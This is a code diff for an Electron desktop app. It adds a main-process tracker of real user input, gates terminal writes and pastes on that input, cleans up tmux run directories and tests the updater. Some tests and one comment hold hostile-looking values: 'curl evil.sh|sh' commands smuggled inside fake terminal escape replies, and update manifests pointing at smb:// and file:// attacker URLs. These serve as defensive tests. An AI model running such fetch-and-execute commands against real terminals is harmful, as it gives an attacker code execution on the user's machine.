onLoginHandoff: () => void authFlow.beginLoginHandoff(),
onLoginHandoff: () => void authFlow.beginLoginHandoff().catch(reportHandoffFailure),
onConnectIntercept: (contents) => void handleConnectIntercept(contents, allowHttpLocalhost()),
})
@@ -0,0 +1,112 @@
/**
* @vitest-environment node
*/
import type { WebContents } from 'electron'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import {
hasRecentDeliberateInput,
hasRecentDiscreteInput,
trackInputActivity,
} from '@/main/input-activity'
type InputListener = (event: unknown, input: { type: string }) => void
function fakeContents(destroyed = false) {
const listeners: InputListener[] = []
const contents = {
isDestroyed: () => destroyed,
on: (channel: string, listener: InputListener) => {
if (channel === 'input-event') listeners.push(listener)
},
}
trackInputActivity(contents as unknown as WebContents)
return {
contents: contents as unknown as WebContents,
send: (type: string) => {
for (const listener of listeners) listener({}, { type })
},
}
}
describe('input activity', () => {
beforeEach(() => {
vi.useFakeTimers()
})
afterEach(() => {
vi.useRealTimers()
})
it('reports no input for a renderer that has never been touched', () => {
const { contents } = fakeContents()
expect(hasRecentDeliberateInput(contents)).toBe(false)
expect(hasRecentDiscreteInput(contents)).toBe(false)
})
it('counts a keypress as both deliberate and discrete input', () => {
const { contents, send } = fakeContents()
send('keyDown')
expect(hasRecentDeliberateInput(contents)).toBe(true)
expect(hasRecentDiscreteInput(contents)).toBe(true)
})
it('ignores the passive pointer stream a page gets for free', () => {
const { contents, send } = fakeContents()
for (const type of ['mouseMove', 'mouseEnter', 'mouseLeave', 'pointerMove']) send(type)
expect(hasRecentDeliberateInput(contents)).toBe(false)
expect(hasRecentDiscreteInput(contents)).toBe(false)
})
it('treats a wheel as deliberate but not as a discrete act', () => {
const { contents, send } = fakeContents()
send('mouseWheel')
expect(hasRecentDeliberateInput(contents)).toBe(true)
expect(hasRecentDiscreteInput(contents)).toBe(false)
})
it('expires deliberate input after its window', () => {
const { contents, send } = fakeContents()
send('keyDown')
vi.advanceTimersByTime(3_000)
expect(hasRecentDeliberateInput(contents)).toBe(false)
})
it('expires a discrete act after its longer window', () => {
const { contents, send } = fakeContents()
send('mouseDown')
vi.advanceTimersByTime(4_000)
expect(hasRecentDiscreteInput(contents)).toBe(true)
vi.advanceTimersByTime(1_000)
expect(hasRecentDiscreteInput(contents)).toBe(false)
})
it('never reports input for a destroyed renderer', () => {
const { contents, send } = fakeContents(true)
send('keyDown')
expect(hasRecentDeliberateInput(contents)).toBe(false)
expect(hasRecentDiscreteInput(contents)).toBe(false)
})
it('keeps activity separate per renderer', () => {
const first = fakeContents()
const second = fakeContents()
first.send('keyDown')
expect(hasRecentDeliberateInput(first.contents)).toBe(true)
expect(hasRecentDeliberateInput(second.contents)).toBe(false)
})
})
+137
View File
@@ -0,0 +1,137 @@
import type { InputEvent, WebContents } from 'electron'
/**
* Input Chromium delivers only because the user did something deliberate.
*
* `mouseMove`, `mouseEnter`, `mouseLeave`, `pointerMove` and `pointerRawUpdate`
* are excluded on purpose: they arrive continuously while the cursor merely
* rests over the window, so counting them as intent would hand every page a
* permanently-satisfied gate.
*/
const DELIBERATE_INPUT_TYPES: ReadonlySet<InputEvent['type']> = new Set([
'keyDown',
'rawKeyDown',
'keyUp',
'char',
'mouseDown',
'mouseUp',
'mouseWheel',
'touchStart',
'touchEnd',
'gestureTap',
])
/**
* The subset that is one discrete act — a keypress or a click. Wheel and
* key-up are dropped here: an irreversible operation should follow something
* the user can point at having done, not an inertial scroll.
*/
const DISCRETE_INPUT_TYPES: ReadonlySet<InputEvent['type']> = new Set([
'keyDown',
'rawKeyDown',
'char',
'mouseDown',
'mouseUp',
'touchEnd',
'gestureTap',
])
/**
* Typing and scrolling produce input continuously, so a keystroke-driven
* terminal write always lands well inside this.
*/
const DELIBERATE_INPUT_WINDOW_MS = 3_000
/**
* Matches the lifetime of Chromium's transient user activation, which is what
* the renderer-reported check this replaces was approximating.
*/
const DISCRETE_INPUT_WINDOW_MS = 5_000
interface InputActivity {
lastDeliberateAt: number
lastDiscreteAt: number
}
const activityByContents = new WeakMap<WebContents, InputActivity>()
/**
* A pointer move with a button held down — a drag, which is intent, unlike the
* resting-cursor stream the passive types are excluded for. Without this a
* selection drag longer than the window stops counting mid-gesture.
*/
function isDragMove(input: InputEvent): boolean {
if (input.type !== 'mouseMove') return false
const modifiers = input.modifiers ?? []
return (
modifiers.includes('leftbuttondown') ||
modifiers.includes('middlebuttondown') ||
modifiers.includes('rightbuttondown')
)
}
/**
* Records real OS input for `contents`.
*
* Chromium hands the main process every input event before the renderer sees
* it, and page script cannot synthesize one — which is the whole point. The
* gate this feeds used to ask the renderer about `navigator.userActivation`, a
* value evaluated in the page's own world that a compromised page redefines in
* one line. Anything derived from renderer-reported state is not a boundary;
* this is, because the signal never passes through the renderer at all.
*/
export function trackInputActivity(contents: WebContents): void {
contents.on('input-event', (_event, input) => {
if (!DELIBERATE_INPUT_TYPES.has(input.type) && !isDragMove(input)) return
const now = Date.now()
const discrete = DISCRETE_INPUT_TYPES.has(input.type)
const activity = activityByContents.get(contents)
if (!activity) {
activityByContents.set(contents, {
lastDeliberateAt: now,
lastDiscreteAt: discrete ? now : 0,
})
return
}
activity.lastDeliberateAt = now
if (discrete) activity.lastDiscreteAt = now
})
}
/**
* Whether the user has recently driven this renderer with real input —
* keystrokes, clicks or wheel. Gates the interactive terminal write path,
* where the legitimate caller is a person typing into xterm.js.
*/
export function hasRecentDeliberateInput(contents: WebContents): boolean {
return isWithin(contents, (activity) => activity.lastDeliberateAt, DELIBERATE_INPUT_WINDOW_MS)
}
/**
* Whether the user recently performed one discrete act in this renderer.
* Gates the operations with no native confirmation behind them, where the
* requirement is an actual click or keypress rather than mere activity.
*/
export function hasRecentDiscreteInput(contents: WebContents): boolean {
return isWithin(contents, (activity) => activity.lastDiscreteAt, DISCRETE_INPUT_WINDOW_MS)
}
/**
* Whether a recorded stamp is inside its window.
*
* A negative elapsed fails the check rather than passing it: `Date.now()` can
* step backwards on an NTP correction, and `now - then < window` is true for
* every negative delta, which would leave an arbitrarily old stamp satisfying
* the gate indefinitely.
*/
function isWithin(
contents: WebContents,
stamp: (activity: InputActivity) => number,
windowMs: number
): boolean {
if (contents.isDestroyed()) return false
const activity = activityByContents.get(contents)
if (!activity) return false
const elapsed = Date.now() - stamp(activity)
return elapsed >= 0 && elapsed < windowMs
}
+150 -27
View File
@@ -1,6 +1,6 @@
import { readFileSync } from 'node:fs'
import { fileURLToPath } from 'node:url'
import { beforeEach, describe, expect, it, vi } from 'vitest'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
vi.mock('electron', () => import('@/test/electron-mock'))
@@ -58,7 +58,8 @@ vi.mock('@/main/browser-agent/registry', () => ({
),
}))
import { ipcMain, shell } from 'electron'
import type { WebContents } from 'electron'
import { clipboard, ipcMain, shell } from 'electron'
import {
copyCredential,
credentialsAvailable,
@@ -72,20 +73,29 @@ import {
importChromePasswords,
listChromeImportProfiles,
} from '@/main/browser-import'
import { trackInputActivity } from '@/main/input-activity'
import { type IpcDeps, registerIpcHandlers } from '@/main/ipc'
import { LocalFilesystemService } from '@/main/local-filesystem'
import { TerminalService } from '@/main/terminal'
const APP = 'https://sim.ai'
const ESC = '\u001b'
const BEL = '\u0007'
type InputListener = (event: unknown, input: { type: string }) => void
interface FakeSender {
session?: { fetch: (url: string, init?: RequestInit) => Promise<Response> }
/** Marks a sender the mocked registry recognises as a browser tab. */
isBrowserTab?: boolean
isDestroyed?: () => boolean
on?: (channel: string, listener: InputListener) => void
}
type Handler = (
event: {
senderFrame: { url: string; executeJavaScript?: (source: string) => Promise<unknown> } | null
sender?: {
session?: { fetch: (url: string, init?: RequestInit) => Promise<Response> }
/** Marks a sender the mocked registry recognises as a browser tab. */
isBrowserTab?: boolean
}
sender?: FakeSender
},
...args: unknown[]
) => unknown
@@ -102,48 +112,72 @@ function collectHandlers() {
return { invoke, on }
}
const rejectedSender = () => ({
session: {
fetch: vi.fn(async () => {
throw new Error('not authorized')
}),
},
})
/**
* A sender registered with the main-process input tracker, so a test can grant
* it a real gesture with `press`. User activation is no longer read out of the
* renderer, so a fixture cannot fake it by stubbing `executeJavaScript`.
*/
function trackedSender() {
const listeners: InputListener[] = []
const sender = {
session: {
fetch: vi.fn(async () => {
throw new Error('not authorized')
}),
},
isDestroyed: () => false,
on: (channel: string, listener: InputListener) => {
if (channel === 'input-event') listeners.push(listener)
},
}
trackInputActivity(sender as unknown as WebContents)
return {
sender,
/** Delivers one real click, satisfying both input-recency gates. */
press: () => {
for (const listener of listeners) listener({}, { type: 'mouseDown' })
},
}
}
const rejectedSender = () => trackedSender().sender
const fileSender = rejectedSender()
const appSender = rejectedSender()
const evilSender = rejectedSender()
const activeSender = trackedSender()
const activeChooserSender = trackedSender()
const fileEvent = {
senderFrame: { url: 'file:///app/static/offline.html' },
sender: fileSender,
}
const appEvent = { senderFrame: { url: `${APP}/workspace/ws1` }, sender: appSender }
const activeAppEvent = {
senderFrame: {
url: `${APP}/workspace/ws1`,
executeJavaScript: vi.fn(async () => true),
},
senderFrame: { url: `${APP}/workspace/ws1` },
sender: activeSender.sender,
}
/** Same origin, but the main process has never seen this renderer get input. */
const inactiveAppEvent = {
senderFrame: {
url: `${APP}/workspace/ws1`,
executeJavaScript: vi.fn(async () => false),
},
senderFrame: { url: `${APP}/workspace/ws1` },
sender: rejectedSender(),
}
const evilEvent = { senderFrame: { url: 'https://evil.example/page' }, sender: evilSender }
/** The chooser anchors a native menu, so it needs a sender with a window. */
const FAKE_WINDOW = { id: 'main-window' }
const activeChooserEvent = {
senderFrame: {
url: `${APP}/workspace/ws1`,
executeJavaScript: vi.fn(async () => true),
},
sender: appSender,
senderFrame: { url: `${APP}/workspace/ws1` },
sender: activeChooserSender.sender,
}
describe('registerIpcHandlers', () => {
let deps: IpcDeps
beforeEach(() => {
// Frozen so the input-recency windows cannot lapse mid-test: the gates read
// wall-clock, and a loaded machine pausing between this press and an
// assertion would flip them closed for reasons unrelated to the test.
vi.useFakeTimers()
activeSender.press()
activeChooserSender.press()
vi.mocked(ipcMain.handle).mockClear()
vi.mocked(ipcMain.on).mockClear()
vi.mocked(shell.openExternal).mockClear()
@@ -195,6 +229,10 @@ describe('registerIpcHandlers', () => {
registerIpcHandlers(deps)
})
afterEach(() => {
vi.useRealTimers()
})
it('validates open-external URLs regardless of sender', async () => {
const { invoke } = collectHandlers()
expect(await invoke.get('desktop:open-external')?.(evilEvent, 'https://docs.sim.ai')).toBe(true)
@@ -780,6 +818,91 @@ describe('registerIpcHandlers', () => {
expect(forgetCredential).toHaveBeenCalledWith('c1')
})
it('always forwards the replies the PTY solicits', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
// The PTY asks for these and the terminal must answer with no user input:
// DSR cursor position, device attributes, a focus report (mode 1004, set by
// tmux and vim), an SGR mouse report. Gating them would hang whatever asked.
const replies = ['\u001b[24;80R', '\u001b[?62;c', '\u001b[I', '\u001b[<0;10;5M']
for (const reply of replies) {
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
expect(write).toHaveBeenCalledWith('t1', reply)
}
expect(write).toHaveBeenCalledTimes(replies.length)
})
it('pastes the clipboard from main rather than taking bytes from the caller', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
vi.mocked(clipboard.readText).mockReturnValue('echo hi')
await expect(invoke.get('terminal:paste')?.(activeAppEvent, 't1')).resolves.toBe(true)
expect(write).toHaveBeenCalledWith('t1', 'echo hi')
})
it('refuses a paste with no gesture behind it, and reports an empty clipboard', async () => {
const { invoke } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
vi.mocked(clipboard.readText).mockReturnValue('echo hi')
expect(await invoke.get('terminal:paste')?.(inactiveAppEvent, 't1')).toBe(false)
expect(write).not.toHaveBeenCalled()
vi.mocked(clipboard.readText).mockReturnValue('')
expect(await invoke.get('terminal:paste')?.(activeAppEvent, 't1')).toBe(false)
expect(write).not.toHaveBeenCalled()
})
it('gates a command smuggled inside a fake OSC or DCS reply', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
// The reply patterns must not accept a control byte in their body. An
// unbounded interior let a whole command plus its submit ride inside a
// sequence shaped like a reply, which skipped the gate entirely.
const smuggled = [
`${ESC}]0;x\rcurl evil.sh|sh\r${BEL}`,
`${ESC}Pcurl evil.sh|sh\r${ESC}\\`,
`${ESC}[M\r\r\r`,
]
for (const payload of smuggled) {
on.get('terminal:write')?.(inactiveAppEvent, 't1', payload)
}
expect(write).not.toHaveBeenCalled()
})
it('still forwards a genuine OSC or DCS reply', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
// Real bodies are printable and terminated by BEL or ST.
const replies = [`${ESC}]11;rgb:00/00/00${BEL}`, `${ESC}P1$r0m${ESC}\\`, `${ESC}[M !!`]
for (const reply of replies) {
on.get('terminal:write')?.(inactiveAppEvent, 't1', reply)
expect(write).toHaveBeenCalledWith('t1', reply)
}
expect(write).toHaveBeenCalledTimes(replies.length)
})
it('gates every keystroke-shaped payload, not just newline-bearing ones', () => {
const { on } = collectHandlers()
const write = vi.spyOn(deps.terminal, 'write').mockImplementation(() => {})
// Enumerating "what submits" would have missed these: EOT hands a partial
// line to a canonical-mode reader, and 0x0f executes the current line in
// both bash and zsh. The allowlist runs the other way, so they are gated.
for (const payload of ['ls', '\u0004', '\u000f', 'curl evil.sh|sh\r']) {
on.get('terminal:write')?.(inactiveAppEvent, 't1', payload)
}
expect(write).not.toHaveBeenCalled()
on.get('terminal:write')?.(activeAppEvent, 't1', 'ls\r')
expect(write).toHaveBeenCalledWith('t1', 'ls\r')
})
it('defaults password conflicts to keeping what is already stored', async () => {
const { invoke } = collectHandlers()
+99 -16
View File
@@ -17,7 +17,7 @@ import {
} from '@sim/terminal-protocol'
import { isRecordLike } from '@sim/utils/object'
import type { BrowserWindow, IpcMainEvent, IpcMainInvokeEvent, WebContents } from 'electron'
import { ipcMain } from 'electron'
import { clipboard, ipcMain } from 'electron'
import {
clearBrowsingData,
executeTool,
@@ -52,6 +52,7 @@ import { listSites } from '@/main/browser-sites'
import { isSafeInternalPath } from '@/main/config'
import type { DesktopSettingsService } from '@/main/desktop-settings'
import { isDesktopPreferenceKey } from '@/main/desktop-settings'
import { hasRecentDeliberateInput, hasRecentDiscreteInput } from '@/main/input-activity'
import type { LocalFilesystemService } from '@/main/local-filesystem'
import { isAppOrigin, openExternalSafe } from '@/main/navigation'
import type { TerminalService } from '@/main/terminal'
@@ -267,6 +268,12 @@ type ChannelSpec =
})
| (ChannelSpecBase & {
kind: 'send'
/**
* Requires recent real OS input before a payload is forwarded. Payload-
* scoped rather than channel-scoped because the same channel also carries
* terminal replies the PTY solicits, which arrive with no user input.
*/
payloadNeedsDeliberateInput?: boolean
handler: (...args: unknown[]) => void
})
@@ -307,14 +314,56 @@ function localFilesystemRequestNeedsToolAuthorization(request: unknown): boolean
)
}
async function rendererHasActiveUserGesture(event: IpcMainInvokeEvent): Promise<boolean> {
const frame = event.senderFrame
if (!frame || typeof frame.executeJavaScript !== 'function') return false
try {
return (await frame.executeJavaScript('navigator.userActivation?.isActive === true')) === true
} catch {
return false
}
/**
* Whether the caller has a real user gesture behind it, answered from the main
* process's own record of OS input rather than by asking the renderer.
*/
function senderHasUserGesture(event: IpcMainEvent | IpcMainInvokeEvent): boolean {
return hasRecentDiscreteInput(event.sender)
}
/**
* Replies the PTY solicits and the terminal must answer unprompted. All
* machine-generated and self-delimiting, which is what makes them safe to
* enumerate.
*
* Bodies are printable-only ({@link PTY_REPLY_BODY}), never `[\s\S]`. A real
* DCS or OSC reply carries text terminated by ST or BEL and never a control
* byte, so an unbounded interior would let a hostile renderer wrap a whole
* command and its submit inside a fake `ESC ] ... CR BEL` and be waved through
* as a reply, reopening the path this gate exists to close. X10 mouse is
* bounded the same way: its three bytes are offset by 32, so a control byte
* there is never legitimate either.
*/
const PTY_REPLY_BODY = '[\\u0020-\\u00ff]'
const PTY_REPLY_PATTERNS = [
/\u001b\[[0-9;?]*[Rc]/, // DSR cursor position, device attributes
/\u001b\[[IO]/, // focus in/out (mode 1004)
new RegExp(`\\u001b\\[M${PTY_REPLY_BODY}{3}`), // X10 mouse report
/\u001b\[<[0-9;]*[mM]/, // SGR mouse report
new RegExp(`\\u001bP${PTY_REPLY_BODY}*?\\u001b\\\\`), // DCS response
new RegExp(`\\u001b\\]${PTY_REPLY_BODY}*?(?:\\u0007|\\u001b\\\\)`), // OSC response
]
const PTY_REPLY = new RegExp(
`^(?:${PTY_REPLY_PATTERNS.map((pattern) => pattern.source).join('|')})+$`
)
/**
* Whether a terminal-write payload needs a person behind it.
*
* The reply set is enumerated and everything else is gated, rather than the
* other way round. "What submits" is not a closed set: besides carriage return
* and newline, EOT (`0x04`) hands a partial line straight to a reader in
* canonical mode, and `0x0f` is `operate-and-get-next` in bash and
* `accept-line-and-down-history` in zsh — both of which execute the current
* line. A user's own `inputrc` or `zle` bindings can add more. Enumerating that
* set would leave whichever binding was forgotten ungated, so the allowlist runs
* the other way and fails closed.
*/
function needsDeliberateInputForWrite(args: unknown[]): boolean {
const data = args[1]
if (typeof data !== 'string' || data.length === 0) return false
return !PTY_REPLY.test(data)
}
interface DesktopToolAuthorization {
@@ -872,6 +921,24 @@ export function registerIpcHandlers(deps: IpcDeps): void {
handler: (sender, focused) =>
deps.terminal.setPanelFocused(focused === true, sender as WebContents),
},
'terminal:paste': {
kind: 'invoke',
gate: 'app-origin',
requires: 'terminal',
denied: false,
// The bytes come from the clipboard here, not from the caller, so this
// does not need the write gate: a compromised renderer can only replay
// what the user already copied. It still needs a real gesture, because
// the legitimate caller is a Paste click or ⌘V.
needsUserActivation: true,
handler: (terminalId) => {
if (typeof terminalId !== 'string') return false
const text = clipboard.readText()
if (!text) return false
deps.terminal.write(terminalId, text)
return true
},
},
'terminal:scrollback': {
kind: 'invoke',
gate: 'app-origin',
@@ -919,10 +986,20 @@ export function registerIpcHandlers(deps: IpcDeps): void {
gate: 'app-origin',
requires: 'terminal',
handler: (terminalId, data) => {
if (typeof terminalId === 'string' && typeof data === 'string') {
deps.terminal.write(terminalId, data)
}
if (typeof terminalId !== 'string' || typeof data !== 'string') return
deps.terminal.write(terminalId, data)
},
// An XSS'd or hostile origin must not reach `write(id, 'curl evil.sh|sh\r')`.
// Panel focus is deliberately not used — `terminal:focused` is a
// renderer-asserted claim the same attacker can set.
//
// MITIGATION, NOT CLOSURE. Text without a newline still reaches the shell's
// line buffer, where the user's own next Enter submits it — visible on
// screen, but not prevented. Closing that needs the interactive path off
// the renderer surface entirely (main writing the keystrokes it already
// observes) or the terminal in its own WebContents, neither of which is a
// gate change. Tracked as follow-up.
payloadNeedsDeliberateInput: true,
},
'terminal:resize': {
kind: 'send',
@@ -972,7 +1049,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (spec.kind === 'invoke') {
ipcMain.handle(channel, async (event, ...args) => {
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return spec.denied
if (spec.needsUserActivation && !(await rendererHasActiveUserGesture(event))) {
if (spec.needsUserActivation && !senderHasUserGesture(event)) {
return spec.denied
}
let handlerArgs = args
@@ -1013,7 +1090,7 @@ export function registerIpcHandlers(deps: IpcDeps): void {
if (
channel === 'desktop:local-filesystem' &&
localFilesystemRequestNeedsUserActivation(args[0]) &&
!(await rendererHasActiveUserGesture(event))
!senderHasUserGesture(event)
) {
return {
ok: false,
@@ -1039,9 +1116,15 @@ export function registerIpcHandlers(deps: IpcDeps): void {
})
} else {
ipcMain.on(channel, (event, ...args) => {
if (senderAllowed(event, spec.gate) && featureAllowed(spec.requires)) {
spec.handler(...(spec.passSender ? [event.sender, ...args] : args))
if (!senderAllowed(event, spec.gate) || !featureAllowed(spec.requires)) return
if (
spec.payloadNeedsDeliberateInput &&
needsDeliberateInputForWrite(args) &&
!hasRecentDeliberateInput(event.sender)
) {
return
}
spec.handler(...(spec.passSender ? [event.sender, ...args] : args))
})
}
}
+2
View File
@@ -2,6 +2,7 @@ import { createLogger } from '@sim/logger'
import type { WebContents } from 'electron'
import { app } from 'electron'
import { isAgentWebContents } from '@/main/browser-agent/registry'
import { trackInputActivity } from '@/main/input-activity'
import { classifyNavigation, openExternalSafe } from '@/main/navigation'
import { scrubUrl } from '@/main/observability'
@@ -85,6 +86,7 @@ export function installGlobalGuards(deps: GuardDeps): void {
})
}
contents.setWindowOpenHandler(() => ({ action: 'deny' }))
trackInputActivity(contents)
attachNavigationGuards(contents, deps)
})
+53
View File
@@ -40,6 +40,7 @@ import {
awaitRun,
capturePane,
closeRunWindow,
isRunComplete,
isTmuxUnavailable,
killPane,
listPanes,
@@ -49,6 +50,7 @@ import {
startRun,
TMUX_KEY_NAMES,
type TmuxAttachment,
type TmuxRunHandle,
} from '@/main/terminal/tmux'
const logger = createLogger('DesktopTerminal')
@@ -176,6 +178,14 @@ export class TerminalService {
private readonly handoffs = new Map<string, boolean>()
/** Recently resolved tmux attachments, by terminal id, to avoid re-spawning. */
private readonly tmuxCache = new Map<string, { at: number; attachment: TmuxAttachment | null }>()
/**
* Run handles for commands that outlived their wait window, keyed by
* terminal. `startRun` makes a temp directory per run and only its handle can
* remove it, so a handle dropped on the still-running path leaks that
* directory for the life of the process while `tee` keeps appending to it.
* Held here so the terminal's own lifecycle can reclaim them.
*/
private readonly pendingRuns = new Map<string, TmuxRunHandle[]>()
constructor(private readonly options: TerminalServiceOptions = {}) {}
@@ -294,6 +304,37 @@ export class TerminalService {
return this.retire(terminalId)
}
/**
* Removes the temp directories of tracked runs that have since finished.
*
* Called when a new run starts on the same terminal, which is the one moment
* the service is already doing run bookkeeping — a dedicated reaper timer
* would be a subsystem to own for something this cheap. A run still going is
* left alone: its `tee` is still appending to that directory.
*/
private reapFinishedRuns(terminalId: string): void {
const pending = this.pendingRuns.get(terminalId)
if (!pending) return
const stillRunning: TmuxRunHandle[] = []
for (const handle of pending) {
if (isRunComplete(handle)) handle.dispose()
else stillRunning.push(handle)
}
if (stillRunning.length === 0) this.pendingRuns.delete(terminalId)
else this.pendingRuns.set(terminalId, stillRunning)
}
/**
* Releases every tracked run for a terminal, finished or not. The terminal is
* going away, so nothing will ever read these files again.
*/
private releasePendingRuns(terminalId: string): void {
const pending = this.pendingRuns.get(terminalId)
if (!pending) return
for (const handle of pending) handle.dispose()
this.pendingRuns.delete(terminalId)
}
/**
* Drops a terminal and decides what replaces it. Closing and exiting share
* this so the two cannot drift into different answers for "what happens to
@@ -310,6 +351,7 @@ export class TerminalService {
session.dispose()
this.sessions.delete(terminalId)
this.tmuxCache.delete(terminalId)
this.releasePendingRuns(terminalId)
if (this.sessions.size === 0) {
this.spawn(this.resolveCwd(closedCwd), cols, rows)
@@ -459,6 +501,10 @@ export class TerminalService {
}
this.sessions.clear()
this.tmuxCache.clear()
for (const handles of this.pendingRuns.values()) {
for (const handle of handles) handle.dispose()
}
this.pendingRuns.clear()
this.activeId = null
// A stale claim here is what let Cmd-W close a shell that no longer exists.
this.setPanelFocused(false)
@@ -784,6 +830,7 @@ export class TerminalService {
if (!command) throw new TerminalError('INVALID_REQUEST', 'run needs a `command`.')
const started = Date.now()
this.reapFinishedRuns(terminal.terminalId)
const handle = await startRun(session, command, terminal.currentCwd, terminal.env)
if ('error' in handle) throw new TerminalError('SPAWN_FAILED', handle.error)
@@ -792,6 +839,12 @@ export class TerminalService {
if (outcome.done) {
await closeRunWindow(handle, terminal.env)
handle.dispose()
} else {
// Still going, and nothing polls the status file again — `read` captures
// the pane instead.
const pending = this.pendingRuns.get(terminal.terminalId)
if (pending) pending.push(handle)
else this.pendingRuns.set(terminal.terminalId, [handle])
}
const { text, truncated } = elideOutput(outcome.output)
@@ -0,0 +1,132 @@
/**
* @vitest-environment node
*/
import { beforeEach, describe, expect, it, vi } from 'vitest'
const { tmuxStub } = vi.hoisted(() => ({
tmuxStub: {
/** Handles handed out by `startRun`, newest last, with their dispose spies. */
handles: [] as Array<{ window: string; dispose: ReturnType<typeof vi.fn> }>,
/** Whether a run's status file is considered present yet. */
complete: new Set<string>(),
/** What `awaitRun` reports — the leak is on the `done: false` path. */
done: false,
},
}))
vi.mock('@/main/terminal/tmux', () => ({
TMUX_KEY_NAMES: {},
activePane: vi.fn(async () => 'sess:0.0'),
awaitRun: vi.fn(async () => ({
done: tmuxStub.done,
output: 'out',
exitCode: tmuxStub.done ? 0 : null,
})),
capturePane: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
closeRunWindow: vi.fn(async () => undefined),
isRunComplete: vi.fn((handle: { window: string }) => tmuxStub.complete.has(handle.window)),
isTmuxUnavailable: vi.fn(() => false),
killPane: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
listPanes: vi.fn(async () => []),
resolveAttachment: vi.fn(async () => ({ session: 'sess' })),
sendKey: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
sendText: vi.fn(async () => ({ ok: true, stdout: '', stderr: '' })),
startRun: vi.fn(async () => {
const handle = {
window: `sess:${tmuxStub.handles.length}`,
outPath: '/tmp/fake/out',
statusPath: '/tmp/fake/status',
dispose: vi.fn(),
}
tmuxStub.handles.push(handle)
return handle
}),
}))
vi.mock('@/main/terminal/session', () => ({
elide: (text: string) => ({ text, truncated: false }),
TerminalSession: {
create: ({ terminalId, cwd }: { terminalId: string; cwd: string }) => ({
terminalId,
cols: 80,
rows: 24,
pid: 1234,
env: {},
shell: 'zsh',
alive: true,
currentCwd: cwd,
foreground: null,
isBusy: false,
hasShellIntegration: true,
dispose: vi.fn(),
write: vi.fn(),
resize: vi.fn(),
setBusy: vi.fn(),
refreshCwd: async () => {},
takeReplaySnapshot: () => '',
tabState: (active: boolean) => ({
terminalId,
title: 'zsh',
cwd,
running: null,
interactive: false,
active,
}),
}),
},
}))
import { TerminalService } from '@/main/terminal'
/**
* A run whose command outlives the wait window leaves a temp directory behind
* that only its handle can remove, and nothing polls that run again — `read`
* captures the tmux pane instead. These cover who eventually disposes it.
*/
describe('pending tmux runs', () => {
let service: TerminalService
beforeEach(() => {
tmuxStub.handles.length = 0
tmuxStub.complete.clear()
tmuxStub.done = false
service = new TerminalService({ loadCwd: () => '/tmp', saveCwd: () => {} })
})
it('reclaims a still-running run when the terminal is closed', async () => {
await service.executeTool('call-1', 'run', { command: 'sleep 600' })
const [handle] = tmuxStub.handles
expect(handle.dispose).not.toHaveBeenCalled()
service.dispose()
expect(handle.dispose).toHaveBeenCalledTimes(1)
})
it('reaps a finished run when the next run starts, and leaves live ones alone', async () => {
await service.executeTool('call-1', 'run', { command: 'sleep 600' })
const [first] = tmuxStub.handles
await service.executeTool('call-2', 'run', { command: 'sleep 600' })
expect(first.dispose).not.toHaveBeenCalled()
tmuxStub.complete.add(first.window)
await service.executeTool('call-3', 'run', { command: 'sleep 600' })
expect(first.dispose).toHaveBeenCalledTimes(1)
expect(tmuxStub.handles[1].dispose).not.toHaveBeenCalled()
service.dispose()
})
it('disposes a run inline when it finishes inside the wait window', async () => {
tmuxStub.done = true
await service.executeTool('call-1', 'run', { command: 'true' })
expect(tmuxStub.handles[0].dispose).toHaveBeenCalledTimes(1)
service.dispose()
expect(tmuxStub.handles[0].dispose).toHaveBeenCalledTimes(1)
})
})
+8 -2
View File
@@ -337,7 +337,13 @@ export async function startRun(
// PIPESTATUS keeps the command's own exit code rather than tee's, which is
// always 0. bash rather than the user's shell because PIPESTATUS is not
// portable and this wrapper is ours, not something they have to read.
const script = `${command}\nprintf %s "\${PIPESTATUS[0]}" > ${JSON.stringify(statusPath)}`
// The status write is silenced because its directory may be gone by the time
// it runs: closing the terminal tab reclaims the run's temp dir while the
// command keeps going in tmux. `tee` is unaffected — POSIX lets it keep
// writing to the unlinked inode — but an unredirected `printf` would fail
// into the pipeline and print `No such file or directory` into the user's own
// tmux window, minutes after they closed the tab.
const script = `${command}\nprintf %s "\${PIPESTATUS[0]}" > ${JSON.stringify(statusPath)} 2>/dev/null`
const wrapper = `bash -lc ${JSON.stringify(`{ ${script}; } 2>&1 | tee ${JSON.stringify(outPath)}`)}`
const args = ['new-window', '-d', '-P', '-F', '#{window_id}', '-t', session, '-n', 'sim-run']
@@ -381,7 +387,7 @@ export function pollRun(handle: TmuxRunHandle): TmuxRunOutcome {
* second, quadratic in output size. Liveness only needs the status file, which
* is a few bytes; the output is read once, when the run is settled.
*/
function isRunComplete(handle: TmuxRunHandle): boolean {
export function isRunComplete(handle: TmuxRunHandle): boolean {
return readIfPresent(handle.statusPath) !== null
}
+68
View File
@@ -326,6 +326,74 @@ describe('initUpdater manual mode (no Developer ID signature)', () => {
expect(shell.openExternal).toHaveBeenCalledTimes(2)
})
it('refuses a manifest whose download urls are not http(s)', async () => {
const hostile = [
'version: 9.9.9',
'files:',
' - url: smb://attacker.example/share/Sim-9.9.9-universal.dmg',
' sha512: abc',
' - url: file:///Applications/Calculator.app',
' sha512: def',
"releaseDate: '2026-07-23T00:00:00.000Z'",
].join('\n')
const { handle } = await createManualUpdater(async () => hostile)
handle.check()
await vi.advanceTimersByTimeAsync(0)
// Never advertised, so the user is never offered a Download button for it.
// 'error' rather than 'idle': a newer version exists but cannot be offered.
expect(handle.getState()).toMatchObject({ status: 'error', manual: true })
handle.check()
handle.install()
expect(shell.openExternal).not.toHaveBeenCalled()
})
it('refuses an attacker-hosted https asset', async () => {
const offHost = [
'version: 9.9.9',
'files:',
' - url: https://attacker.example/Sim-9.9.9-universal.dmg',
' sha512: abc',
// A lookalike host must not pass a prefix test either.
